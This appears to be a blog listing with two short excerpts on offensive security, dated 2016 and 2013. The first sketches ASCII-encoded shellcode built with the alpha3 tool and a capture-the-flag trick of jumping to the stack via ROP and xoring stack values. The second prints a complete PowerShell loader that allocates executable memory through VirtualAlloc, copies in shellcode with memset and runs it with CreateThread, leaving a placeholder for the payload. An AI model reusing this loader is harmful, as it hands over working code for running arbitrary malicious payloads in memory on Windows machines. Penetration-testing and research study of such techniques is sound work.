Ascii shellcode

You can use the alpha3 tool, which produces ascii shellcode that includes an encoder — it uses its own encoder to decode. The resulting shellcode is very short, but this kind of shellcode needs a reg pointing to the start of the shellcode. Some other variants xor by offset and finally jmp esp to execute. Here’s a write-up of one challenge’s solution: Use a position on the stack together with a ROP ret to jump to that position, then xor the values on the stack against eax, using op codes like xor al,[esp+0x34]; the offset part is padded with push eax, so that eax ends up pointing exactly at our shellcode’s location. ...

February 9, 2016

Use PowerShell to launch shellcode

A template for executing shellcode: $code = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = SHELLCOD;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 }; The SHELLCOD part is the placeholder to replace. ...

March 18, 2013